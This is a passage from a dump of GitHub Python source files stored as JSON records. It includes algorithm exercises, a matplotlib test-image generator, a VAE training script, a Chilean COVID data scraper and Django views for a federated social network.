range(1, t+1):\n N = int(input())\n k = int(N**(1/3))\n q = N**(1/3)\n print(q)\n print(round(q, 2))\n c = [k, k-1, k+1]\n for i in c:\n if i ** 3 == N:\n print(f'#{tc} {i}')\n break\n elif i == k+1:\n print(f'#{tc} -1')\n\n\n","repo_name":"LEEJINSUNG123/ssafy-algo-python-hanoogi","sub_path":"0916트리리뷰/세제곱근.py","file_name":"세제곱근.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32501465644","text":"import os\nimport unittest\nimport numpy as np\nimport re\nfrom copy import copy\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.testing.compare import compare_images\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom focmech3d.mpl_plots import plot_focal_mechanism\nfrom focmech3d.focal_mechanism import plot_focal_mechanisms, FocalMechanism\nfrom focmech3d.topoprofile import plot_profile, profile_view\nfrom profile_example import example\n\nfig1, fig2 = example(depth_mag=True, verbose = False, show_plots = False)\nfig1.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/3D_Profile_example.png')\nfig2.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/Plot_profile_example.png')\n\n# strike = [0, 10, 180, 360]\n# dip = [0, 10, 45, 90]\n# rake = [-180, 0, 10, 180]\n\n# fregex = re.compile('strike(.+)_dip(.+)_rake(.+)')\n\n# for s in strike:\n# for d in dip:\n# for r in rake:\n# filename = 'strike{}_dip{}_rake{}'.format(s, d, r)\n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection = '3d')\n# fm = FocalMechanism(0, 0, 0, 1, s, d, r)\n# plot_focal_mechanism(fm, ax, shade = False)\n# fig.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/basic_single_fms/{}.png'.format(filename))\n# plt.close(fig)\n\n\n\n\n\ndata_list = [[0, 0, -6, 1, 0, 0, 0], \n[-5, -5, -10, 3, 10, 30, 40], \n[-5, 10, -8, 5, 280, 90, -30],\n[5, -5, -10, 2, 90, 0, 100],\n[20, 20, -10, 10, 359, 45, -100]]\nfocal_mechanisms = [FocalMechanism(*data, invert_z = False) for data in data_list]\nfig = plt.figure()\nax = fig.add_subplot(111, projection = '3d')\nax = plot_focal_mechanisms(focal_mechanisms, ax, in_fms = True, bottom_half = True)\nfig.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/top_removed1.png')\nax.view_init(90, 270)\nfig.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/top_removed2.png')\n\nbig_focal_mechanisms = []\nfor fm in focal_mechanisms:\n fm = copy(fm)\n fm.radius = 20 * fm.radius\n fm.rad_function = lambda x: 20 * x\n big_focal_mechanisms.append(fm)\n\nfig1 = plot_profile(focal_mechanisms, [], -10, -10, 50, 50, 20, 40, in_degrees = False, verbose = False, in_fms = True)\nfig2 = plot_profile(focal_mechanisms, [], 50, 50, -10, -10, 20, 40, in_degrees = False, verbose = False, in_fms = True)\nfig3 = plot_profile(big_focal_mechanisms, [], -10, 10, 25, 25, 20, 500, in_degrees = True, fm_size = 20, verbose = False, in_fms = True)\n\nfig1.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/basic_profile1.png')\nfig2.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/basic_profile2.png')\nfig3.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/basic_profile3.png')\n\n\nfig = plt.figure()\ndata_list = [[1, [0, 0, -6], [0, 0, 0]],\n [3, [-5, -5, -10], [10, 30, 40]],\n [5, [-5, 10, -8], [280, 90, -30]],\n [2, [5, -5, -10], [90, 0, 100]],\n [10, [20, 20, -10], [359, 45, -100]]]\nax = fig.add_subplot(111, projection = '3d')\nplot_focal_mechanisms(focal_mechanisms, ax, vector_plots = ['strike', 'dip', 'rake', 'normal', 'B', 'T', 'P'], \n vector_colors = ['red', 'orange', 'yellow', 'green', 'blue', 'purple', 'black'],\n alpha = .5, in_fms = True)\n\nfig.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/vector_test.png')\n\ndata_list_rad = [[1, [0, 0, -6], [0, 0, 0]],\n [3, [-5, -5, -10], [10 * np.pi/180, 30 * np.pi/180, 40 * np.pi/180]],\n [5, [-5, 10, -8], [280 * np.pi/180, 90 * np.pi/180, -30 * np.pi/180]],\n [2, [5, -5, -10], [90 * np.pi/180, 0, 100 * np.pi/180]],\n [10, [20, 20, -10], [359 * np.pi/180, 45 * np.pi/180, -100 * np.pi/180]]]\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection = '3d')\nplot_focal_mechanisms(focal_mechanisms, ax, in_fms = True, alpha = .5)\nfig.savefig('/home/amy/3DFocal_Mechanism/tests/expected_images/rad_test.png')\n\n# angles = [359, 45, -100]\n# rad_angles = [np.pi * x / 180 for x in angles]\n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection = '3d')\n# focal_mechanism(10, [20, 20, -20], [359, 45, -100], ax, [1, 1, 1])\n\n# fig.savefig('deg.png')\n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection = '3d')\n# focal_mechanism(10, [20, 20, -20], [359 * np.pi/180, 45 * np.pi/180, -100 * np.pi/180], ax, [1, 1, 1], degrees = False)\n# fig.savefig('rad.png')\n\n# print(compare_images('deg.png', 'rad.png', .01))\n","repo_name":"JuanS-OSORNOB/3DFocal_Mechanism","sub_path":"tests/generate_test_images.py","file_name":"generate_test_images.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"6142747534","text":"#Serie Fibonacci\ndef fib(n):\n if n < 1:\n return None\n if n < 3:\n return 1\n return fib(n - 1) + fib(n - 2)\n\nfor n in range(1, 10):\n print(n, \"->\", fib(n))\n\n#Factorial\ndef factorialFun(n):\n if n < 0:\n return None\n if n < 2:\n return 1\n return n * factorialFun(n - 1)\n\nfor n in range(1, 7): # probando\n print(n, factorialFun(n))","repo_name":"josuerojasq/netacad_python","sub_path":"84.fun_Recursividad.py","file_name":"84.fun_Recursividad.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41904742546","text":"from dataclasses import dataclass\nimport re\n\nwith open(\"resources/day16.txt\") as f:\n input = f.readlines()\n\nparser = re.compile(r\"Valve (.+) has flow rate=(\\d+);.+valves? (.+)\")\n\n\n@dataclass\nclass Valve:\n pressure: int\n neighbors: list[str]\n\n\n@dataclass(frozen=True)\nclass Edge:\n node: str\n other: str\n\n\ndef build_graph(input):\n graph = {}\n for line in input:\n groups = re.match(parser, line)\n key = groups[1]\n pressure = groups[2]\n valves = groups[3]\n graph[key] = Valve(pressure=int(pressure), neighbors=valves.split(\", \"))\n return graph\n\n\ndef non_zero_pressure_valves(graph):\n return {valve for valve in graph if graph[valve].pressure != 0}\n\n\ndef calculate_edge_costs(graph, vertexes, distances, current_valve, depth):\n neighbors = set()\n for vertex in vertexes:\n for valve in graph[vertex].neighbors:\n edge = Edge(current_valve, valve)\n if edge in distances:\n continue\n distances[edge] = depth\n neighbors.add(valve)\n return neighbors\n\n\ndef build_edge_distances_map(graph, start):\n distances = {}\n vertexes = set()\n non_zero_valves = non_zero_pressure_valves(graph)\n for valve in graph:\n if valve in non_zero_valves or valve == start:\n depth = 0\n vertexes.add(valve)\n distances[Edge(valve, valve)] = 0\n while vertexes:\n depth += 1\n vertexes = calculate_edge_costs(graph, vertexes, distances, valve, depth)\n return distances\n\n\ndef traverse(distances, valves, visited, start, seconds):\n visited.add(start)\n max_pressure = 0\n for valve in valves:\n if valve in visited:\n continue\n edge = Edge(start, valve)\n time_remaining = seconds - (distances[edge] + 1) # one unit time to visit, one unit time to open\n if time_remaining > 0:\n pressure = graph[valve].pressure * time_remaining\n # python is crazy and mutates everything, create a new set from visited, so it isn't shared!\n pressure += traverse(distances, valves, set(visited), valve, time_remaining)\n max_pressure = max(pressure, max_pressure)\n return max_pressure\n\n\n# part 1\ngraph = build_graph(input)\nedge_distances = build_edge_distances_map(graph, \"AA\")\nnon_zero_valves = non_zero_pressure_valves(graph)\nprint(traverse(edge_distances, non_zero_valves, set(), \"AA\", 30))\n","repo_name":"andrewmcloud/advent2022","sub_path":"day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"44166104665","text":"import argparse\nfrom os.path import join, exists\nfrom os import mkdir\n\nimport torch\nimport torch.utils.data\nfrom torch import optim\nfrom torch.nn import functional as F\nfrom torchvision import transforms\nfrom torchvision.utils import save_image\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom models.vae import VariationalAutoencoder\n\nfrom lib.consts import *\nfrom utils.learning import EarlyStopping\nfrom utils.learning import LRScheduler\n\nfrom torch.utils.data import DataLoader\nfrom data.loaders import RolloutObservationDataset\n\nfrom utils.misc import save_checkpoint\n\nparser = argparse.ArgumentParser(description='VAE Trainer')\nparser.add_argument('--batch-size', type=int, default=32, metavar='N',\n help='input batch size for training (default: 32)')\nparser.add_argument('--epochs', type=int, default=1000, metavar='N',\n help='number of epochs to train (default: 1000)')\nparser.add_argument('--logdir', type=str, help='Directory where results are logged')\nparser.add_argument('--noreload', action='store_true',\n help='Best model is not reloaded if specified')\nparser.add_argument('--nosamples', action='store_true',\n help='Does not save samples during training if specified')\n\nargs = parser.parse_args()\n\n\ntorch.manual_seed(123)\ntorch.backends.cudnn.benchmark = True\n\ntransform_train = transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((HEIGHT,WIDTH)),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor()])\n\ntransform_test = transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((HEIGHT,WIDTH)),\n transforms.ToTensor()]) \n\ndataset_train = RolloutObservationDataset('datasets/turtlebot3', transform_train, train=True)\ndataset_test = RolloutObservationDataset('datasets/turtlebot3', transform_test, train=False)\n\ntrain_loader = DataLoader(dataset_train, batch_size=args.batch_size, shuffle=True, num_workers=2)\ntest_loader = DataLoader(dataset_test, batch_size=args.batch_size, shuffle=True, num_workers=2)\n\nwriter = SummaryWriter(\"logs/turtlebot3/vae\")\n\nmodel = VariationalAutoencoder()\n\nmodel = model.to(DEVICE)\n\nlearning_rate = 1e-3\n\noptimizer = torch.optim.Adam(params=model.parameters(), lr=learning_rate)\nlr_scheduler = LRScheduler(optimizer)\nearly_stopping = EarlyStopping(patience=100)\n\n\ndef vae_loss(recon_x, x, mu, logsigma):\n \n BCE = F.mse_loss(recon_x, x, size_average=False)\n\n # see Appendix B from VAE paper:\n # Kingma and Welling. Auto-Encoding Variational Bayes. ICLR, 2014\n # https://arxiv.org/abs/1312.6114\n # 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n kld = -0.5 * torch.sum(1 + 2 * logsigma - mu.pow(2) - (2 * logsigma).exp())\n kld_min = torch.zeros_like(kld) + KLD_TOLERANCE * LATENT_VEC\n kld_loss = torch.max(kld, kld_min)\n \n return BCE + kld_loss, BCE, kld_loss\n\ndef train(epoch):\n \n model.train()\n dataset_train.load_next_buffer()\n train_loss = 0\n train_bce = 0\n train_kld = 0\n for batch_idx, data in enumerate(train_loader):\n data = data.to(DEVICE)\n optimizer.zero_grad()\n image_batch_recon, latent_mu, latent_logvar = model(data)\n loss, bce, kld = vae_loss(image_batch_recon, data, latent_mu, latent_logvar)\n loss.backward()\n train_loss += loss.item()\n train_bce += bce.item()\n train_kld += kld.item()\n optimizer.step()\n if batch_idx % 20 == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader),\n loss.item() / len(data)))\n\n \n train_loss /= len(train_loader.dataset)\n train_bce /= len(train_loader.dataset)\n train_kld /= len(train_loader.dataset) \n print('====> Epoch: {} Average loss: {:.4f}'.format(\n epoch, train_loss))\n \n writer.add_scalar('avg train loss', train_loss, epoch)\n writer.add_scalar('avg train bce loss', train_bce, epoch)\n writer.add_scalar('avg train kld loss', train_kld, epoch) \n writer.flush() \n \ndef test():\n \n model.eval()\n dataset_test.load_next_buffer()\n test_loss = 0\n bce_test = 0\n kld_test = 0\n \n with torch.no_grad():\n for data in test_loader:\n data = data.to(DEVICE)\n image_batch_recon, latent_mu, latent_logvar = model(data)\n loss, bce, kld = vae_loss(image_batch_recon, data, latent_mu, latent_logvar)\n test_loss += loss.item()\n bce_test += bce.item()\n kld_test += kld.item()\n \n test_loss /= len(test_loader.dataset)\n bce_test /= len(test_loader.dataset)\n kld_test /= len(test_loader.dataset)\n print('====> Test set loss: {:.4f}'.format(test_loss))\n return test_loss, bce_test , kld_test\n\nvae_dir = join(args.logdir, 'vae')\nif not exists(vae_dir):\n mkdir(vae_dir)\n mkdir(join(vae_dir, 'samples'))\n\n\nreload_file = join(vae_dir, 'checkpoint.tar')\nif not args.noreload and exists(reload_file):\n state = torch.load(reload_file)\n print(\"Reloading model at epoch {}\"\n \", with test error {}\".format(\n state['epoch'],\n state['precision']))\n model.load_state_dict(state['state_dict'])\n optimizer.load_state_dict(state['optimizer'])\n lr_scheduler.load_state_dict(state['scheduler'])\n early_stopping.load_state_dict(state['early_stopping'])\n e = state[\"epoch\"]\nelse:\n e = 0 \ncur_best = None\nearly_stopping.patience = 400\nearly_stopping.early_stop = False\nfor epoch in range(1, args.epochs + 1 - e):\n \n e = e + 1\n train(e)\n writer.flush()\n test_loss, test_bce, test_kld = test()\n lr_scheduler(test_loss)\n early_stopping(test_loss)\n \n \n writer.add_scalar('avg test loss', test_loss, e)\n writer.add_scalar('avg test bce loss', test_bce, e)\n writer.add_scalar('avg test kld loss', test_kld, e) \n writer.flush()\n \n # checkpointing\n best_filename = join(vae_dir, 'best.tar')\n filename = join(vae_dir, 'checkpoint.tar')\n is_best = not cur_best or test_loss < cur_best\n if is_best:\n cur_best = test_loss\n\n save_checkpoint({\n 'epoch': e,\n 'state_dict': model.state_dict(),\n 'precision': test_loss,\n 'optimizer': optimizer.state_dict(),\n 'scheduler': lr_scheduler.state_dict(),\n 'early_stopping': early_stopping.state_dict()\n }, is_best, filename, best_filename)\n\n\n if not args.nosamples:\n with torch.no_grad():\n sample = torch.randn(RED_SIZE, LATENT_VEC).to(DEVICE)\n sample = model.decoder(sample).cpu()\n save_image(sample.view(64, 3, RED_SIZE, RED_SIZE),\n join(vae_dir, 'samples/sample_' + str(e) + '.png'))\n\n if early_stopping.early_stop:\n print(\"End of Training because of early stopping at epoch {}\".format(e))\n break\n\n","repo_name":"alikolling/MyWorldModel","sub_path":"src/train_vae.py","file_name":"train_vae.py","file_ext":"py","file_size_in_byte":6961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11187366315","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nEste script se ha realizado gracias al aporte de https://github.com/jcrucesdeveloper\nY las posteriores contribuciones de https://github.com/estebaniglesias\n\"\"\"\n#función que entrega el día del útlimo informe Regional disponible en el minsal\nfrom fechaHoy import getDay\nfrom variables import pathInformesRegiones, formatoArchivoRegiones, urlInformesRegionesMinsal\npath = pathInformesRegiones\nformato_archivo = formatoArchivoRegiones\n\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport os.path\nimport pandas as pd\n\n\ndef extraerDatosRegiones():\n #Si actualiza devuelve True\n #Si no actualiza devuelve False\n\n ## Al toque vamos a ver si la info actualizada es la última o no\n #en particular vamos a ver si la fecha de la pag ya está en nuestro CSV\n print('Veamos qué fecha tiene el minsal')\n fechaHoyString = getDay()\n print('El minsal tiene fecha de: ' + fechaHoyString)\n\n if os.path.isfile(path + fechaHoyString + formato_archivo):\n print(\n 'No hay actualización, los por Comuna datos ya estaban actualizados'\n )\n return (False, '')\n ##Los datos del sitio web ya están en CSV's\n else:\n #Los datos no están. Vamos a sacarlos.\n print('Son datos nuevos, asi que los vamos a extraer')\n\n\n\n\n ########SCRAPPING EN LA PAGINA DEL MINSAL CON PANDAS########\n #Para usar pd.read_html se necesita usar directamente el string de la url, \n # por lo que no funciona si se importa desde otro script con un request\n url = 'https://www.minsal.cl/nuevo-coronavirus-2019-ncov/casos-confirmados-en-chile-covid-19/'\n #Extraemos la tabla de internet\n tables = pd.read_html(url)\n df = tables[0]\n df = df.drop([0,18,19])\n\n #Preparamos los nombres de las columnas en el formato ya establecido y limpiamos la tabla\n header = [\n 'nombre_region',\n 'casos_totales', \n 'casos_nuevos', \n 'casos_nuevos_sintomas',\n 'casos_nuevos_nosintomas',\n 'Casos nuevos sin notificar',\n 'Casos activos confirmados',\n 'fallecidos_totales',\n 'recuperados_totales']\n df = df[1:]\n df.columns = header\n #Eliminamos las columnas que no nos sirven\n df = df.drop(columns = ['Casos nuevos sin notificar', 'Casos activos confirmados'])\n #Agregamos el id de las regiones\n id_region = [15,1,2,3,4,5,13,6,7,16,8,9,14,10,11,12]\n df.insert(0, 'id_region', id_region, True)\n #Pa revisar\n #print(df)\n\n\n\n\n ########PREPARAMOS EL INFORME DE HOY########\n #Hacemos una copia\n informeHoy = df\n \n #convertimos a enteros los datos que nos interesan\n informeHoy.casos_totales = informeHoy.casos_totales.str.replace('.','').astype(int)\n informeHoy.casos_nuevos = informeHoy.casos_nuevos.str.replace('.','').astype(int)\n informeHoy.fallecidos_totales = informeHoy.fallecidos_totales.str.replace('.','').astype(int)\n\n #Fecha segun pagina\n #extraemos los fallecidos de ayer\n from datetime import timedelta\n fechaHoy = pd.to_datetime(fechaHoyString)\n #le resto un día y tengo objeto fecha de ayer\n fechaAyer = fechaHoy - timedelta(1)\n fechaAyerString = fechaAyer.strftime(\"%Y-%m-%d\")\n\n\n\n #ABRIMOS EL INFORME DE AYER PARA HACER CALCULOS\n try:\n #Tratamos de abrir el informe de ayer\n informeAyer = pd.read_csv(path + fechaAyerString + formato_archivo)\n\n #Del informe de ayer, sacamos los fallecidos y calculamos los fallecidos nuevos de hoy\n informeAyer = informeAyer.rename(columns={'fallecidos_totales': 'fallecidos_totales_old'})\n informeAyer = informeAyer[['id_region', 'fallecidos_totales_old']]\n informeHoy = pd.merge(informeHoy, informeAyer, on='id_region')\n informeHoy['fallecidos_nuevos'] = informeHoy.fallecidos_totales - informeHoy.fallecidos_totales_old\n\n #Hacemos el mismo procedimiento para los recuperados\n informeAyer = informeAyer.rename(columns={'recuperados_totales': 'recuperados_totales_old'})\n informeAyer = informeAyer[['id_region', 'recuperados_totales_old']]\n informeHoy = pd.merge(informeHoy, informeAyer, on='id_region')\n informeHoy['recuperados_nuevos'] = informeHoyrecuperados_totales - informeHoy.recuperados_totales_old\n\n #Damos formato al informe de hoy, seleccionando solo las columnas necesarias\n informeHoy = informeHoy[[\n 'id_region', \n 'nombre_region', \n 'casos_totales', \n 'casos_nuevos',\n 'casos_nuevos_sintomas', \n 'casos_nuevos_nosintomas',\n 'fallecidos_totales', \n 'fallecidos_nuevos', \n 'recuperados_totales',\n 'recuperados_nuevos'\n ]]\n \n except:\n #Si no se encontró un informe anterior, simplemente se llenan con cero (es lo que se me ocurre por ahora)\n informeHoy['fallecidos_nuevos'] = 0\n informeHoy['recuperados_nuevos'] = 0\n informeHoy = informeHoy[[\n 'id_region', \n 'nombre_region', \n 'casos_totales', \n 'casos_nuevos',\n 'casos_nuevos_sintomas', \n 'casos_nuevos_nosintomas',\n 'fallecidos_totales', \n 'fallecidos_nuevos', \n 'recuperados_totales',\n 'recuperados_nuevos'\n ]]\n pass\n\n\n\n ########GUARDAMOS EL INFORME DE HOY########\n #ya estamos listos para guardarlos.\n # usamos fechaHoyString\n # no queremos que guarde el index 0, 1, 2 index=False\n\n informeHoy.to_csv(path + fechaHoyString + formato_archivo, index=False)\n print('Hemos finalizado')\n print('Casos totales en Chile al ' + fechaHoyString + ' :' +\n informeHoy.casos_totales.sum().astype(str))\n return (True, fechaHoyString)","repo_name":"MapaCovid/COVID-19","sub_path":"actualizacion/extraerDatosRegiones.py","file_name":"extraerDatosRegiones.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"es","doc_type":"code","stars":22,"dataset":"github-code","pt":"29"} +{"seq_id":"35917265309","text":"from django.shortcuts import render, redirect\nfrom django.http import *\nfrom app.API.helpers import get_full_uri\n\nfrom app.API.paginators import CustomPaginator\nfrom .forms import *\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom .models import *\nfrom django.views.decorators.http import require_http_methods\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.core.serializers import *\nimport requests\nfrom django.core import serializers\nfrom django.http import JsonResponse\nimport json\n\nfrom django.contrib.auth.models import User\nfrom .helpers import *\nfrom django.db.models import Q\nfrom django.conf import settings\n\nimport urllib.parse\nfrom .API.serializers import AuthorSerializer, CommentSerializer, PostSerializer\n\nimport feedparser\n\nfrom django.http import JsonResponse\n\nimport feedparser\n\nfrom django.http import JsonResponse\n\n\nclass HttpResponseUnauthorized(HttpResponse):\n status_code = 401\n\n\n@require_http_methods([\"GET\"])\ndef root(request):\n # redirects to home page\n return redirect(reverse('explore'))\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef signup(request):\n if request.method == \"POST\":\n\n form_inputs = request.POST\n display_name = form_inputs.get('display_name')\n username = form_inputs.get('username')\n email = form_inputs.get('email')\n github = form_inputs.get('github')\n password = form_inputs.get('password')\n confirm_password = form_inputs.get('confirm_password')\n\n if display_name and username and email and github and password and confirm_password:\n\n try:\n first_name, last_name = display_name.split()\n except ValueError:\n first_name = display_name\n last_name = \"\"\n\n if not is_valid_info(request, username, email, github, password, confirm_password):\n return redirect(reverse('signup'))\n\n try:\n u = User.objects.create_user(\n username, email, password, first_name=first_name, last_name=last_name)\n except Exception as e:\n messages.warning(request, e)\n return redirect(reverse('signup'))\n else:\n u.save()\n\n try:\n Author.objects.create(displayName=display_name,\n github=f\"https://github.com/{github}\", profileImage=None, email=email, username=username, confirmed=False)\n except Exception as e:\n messages.warning(request, e)\n return redirect(reverse('signup'))\n\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect(reverse('home'))\n else:\n messages.warning(\n request, \"Please contact the admin to be confirmed and be able to login\")\n return redirect(reverse('login'))\n else:\n messages.warning(\n request, \"Please contact the admin to be confirmed and be able to login\")\n return redirect(reverse('signup'))\n else:\n return redirect(reverse('signup'))\n\n elif request.method == \"GET\":\n if request.user.is_authenticated:\n return redirect(reverse('home'))\n else:\n return render(request, 'signup.html')\n\n\n@require_http_methods([\"GET\"])\n@login_required(login_url=\"/login\")\ndef home(request):\n context = {\"comment_form\": CommentForm()}\n return render(request, 'home_stream.html', context)\n\n\n@require_http_methods([\"GET\"])\ndef explore(request):\n context = {\"comment_form\": CommentForm()}\n return render(request, 'explore_stream.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef author_search(request):\n\n if request.POST.get('action') == 'author-search':\n search_term = str(request.POST.get('query_term'))\n\n if search_term:\n search_term = Author.objects.filter(\n username__icontains=search_term, host__contains=\"distribution.social\" )[:5]\n\n data = serializers.serialize('json', list(\n search_term), fields=('id', 'username'))\n\n return JsonResponse({'search_term': data})\n\n\ndef delete_post(request, post_id):\n post = Post.objects.get(uuid=post_id)\n\n if request.method == 'POST':\n # Verify that the user is allowed to delete the post\n if post.made_by.username != request.user.username:\n return JsonResponse({'success': False, 'message': 'You are not authorized to delete this post.'})\n\n # Delete the post\n post.delete()\n\n return JsonResponse({'success': True})\n\n return JsonResponse({'success': False, 'message': 'Invalid request method.'})\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef add_post(request):\n user = Author.objects.get(username=request.user.username)\n\n if request.method == \"POST\":\n form = PostForm(request.POST, request.FILES)\n if form.is_valid():\n\n post = form.save(user=user)\n\n # if request.POST['visibility'] == 'PRIVATE':\n for receiver_id in request.POST.getlist('receivers'):\n author = Author.objects.get(id=receiver_id)\n foreign_node = get_foreign_API_node(author.host)\n if foreign_node:\n auth_token = ''\n if foreign_node.username:\n auth_token = foreign_node.getToken()\n\n serializer = PostSerializer(post, context={'request':request,'kwargs':{'author_id':user.id,'post_id':post.uuid}})\n data = serializer.data\n\n comments = post.comments.all().order_by('-published')\n # paginator = CustomPaginator()\n # commentResultPage = paginator.paginate_queryset(comments, request)\n context = {'request':request,'kwargs':{'author_id':user.id,'post_id':data['id'].split(\"/\")[-1]}}\n comment_serializer = CommentSerializer(comments, many=True, context=context)\n\n response = {\n \"type\": \"comments\",\n \"post\": get_full_uri(request,'api-post-detail',context['kwargs']),\n \"id\": get_full_uri(request,'api-post-comments',context['kwargs']),\n \"comments\": comment_serializer.data,\n }\n\n data[\"commentSrc\"] = response\n data['count'] = len(comments)\n\n url = f\"{author.url}/inbox\"\n headers = {\n \"Authorization\": f\"Basic {auth_token}\",\n \"Content-Type\": 'application/json; charset=utf-8',\n\n }\n\n response = requests.post(url, data=json.dumps(data), headers=headers)\n response.raise_for_status()\n\n else:\n raise(\"Error finding foreign Node\")\n\n return redirect(reverse('node-post-detail', kwargs={'node': 'Local','author_id': user.id,'post_id': post.uuid}))\n elif request.method == \"GET\":\n context = {\"title\": \"Create a Post\", \"form\": PostForm(\n author=user), \"action\": \"PUBLISH\"}\n return render(request, 'post.html', context)\n\n\n@require_http_methods([\"GET\", \"POST\"])\ndef signin(request):\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n if username and password:\n user = authenticate(username=username, password=password)\n\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect(reverse('home'))\n else:\n messages.warning(\n request, \"Your account is not confirmed. Please contact the admin to get their approval.\")\n return redirect(reverse('login'))\n else:\n messages.warning(\n request, \"Invalid username, invalid password, or unconfirmed user.\")\n return redirect(reverse('login'))\n\n # Username and/or password is missing\n else:\n messages.warning(\n request, \"Invalid username, invalid password, or unconfirmed user.\")\n return redirect(reverse('login'))\n\n elif request.method == \"GET\":\n # No need to sign in again\n if request.user.is_authenticated:\n return redirect(reverse('home'))\n else:\n context = {\"title\": \"signin\", \"form\": SigninForm()}\n return render(request, 'signin.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef signout(request):\n if request.method == \"POST\":\n logout(request)\n return redirect(reverse('explore'))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef authors(request):\n if request.method == \"GET\":\n authors = list(Author.objects.exclude(Q(\n username=request.user.username) | Q(confirmed=False)).order_by('displayName'))\n current_user_followings = Author.objects.get(\n username=request.user.username).following.all()\n current_user_sent_requests = Author.objects.get(\n username=request.user.username).sent_requests.all()\n\n ineligible_users = current_user_followings | current_user_sent_requests\n\n context = {\"authors\": authors, \"ineligible_users\": ineligible_users}\n return render(request, 'authors.html', context)\n\n elif request.method == \"POST\":\n # Get the username to follow\n id_to_follow = request.POST.get(\"follow\")\n\n # Get the author object\n author_to_follow = Author.objects.get(id=id_to_follow)\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n # Add the author object to our sent_request list (Need to send this to inbox in the future to get approval on the other end)\n current_user_author.sent_requests.add(author_to_follow)\n add_to_inbox(current_user_author, author_to_follow,\n Activity.FOLLOW, current_user_author)\n\n return redirect(reverse(\"authors\"))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef add_to_following(request):\n if request.method == \"POST\":\n body_dict = json.loads(request.body)\n id_to_add_to_following = body_dict.get('author_id')\n\n # ForeignUserObject\n foreign_user_object = body_dict.get('foreign_user_object')\n\n try:\n # Get the foreign author's object\n author_object_to_add_to_following = Author.objects.get(\n id=id_to_add_to_following)\n except Author.DoesNotExist:\n random_uuid = uuid.uuid4()\n author_to_follow = Author(id=random_uuid, host=foreign_user_object[\"host\"], url=foreign_user_object[\"url\"], displayName=foreign_user_object[\"displayName\"],\n github=foreign_user_object[\"github\"], profileImage=foreign_user_object[\"profileImage\"], username=str(random_uuid), confirmed=True)\n\n author_to_follow.save()\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n # Add the object as one of our current author's following\n try:\n current_user_author.following.get(id=id_to_add_to_following)\n except:\n current_user_author.following.add(author_object_to_add_to_following)\n\n try:\n # Remove from sent_requests\n current_user_author.sent_requests.remove(author_object_to_add_to_following)\n except:\n pass\n\n return HttpResponse(\"Success\")\n else:\n return HttpResponse(\"Method Not Allowed\")\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef add_to_sent_request(request):\n if request.method == \"POST\":\n print(\"********************\")\n body_dict = json.loads(request.body)\n id_to_follow = body_dict.get('author_id')\n\n # ForeignUserObject\n foreign_user_object = body_dict.get('foreign_user_object')\n\n try:\n # Get the foreign author's object\n author_to_follow = Author.objects.get(id=id_to_follow)\n except Author.DoesNotExist:\n random_uuid = uuid.uuid4()\n author_to_follow = Author(id=random_uuid, host=foreign_user_object[\"host\"], url=foreign_user_object[\"url\"], displayName=foreign_user_object[\"displayName\"],\n github=foreign_user_object[\"github\"], profileImage=foreign_user_object[\"profileImage\"], username=str(random_uuid), confirmed=True)\n\n author_to_follow.save()\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n # Add the author object to our sent_request list (Need to send this to inbox in the future to get approval on the other end)\n current_user_author.sent_requests.add(author_to_follow)\n\n return HttpResponse(\"Success\")\n else:\n return HttpResponse(\"Method Not 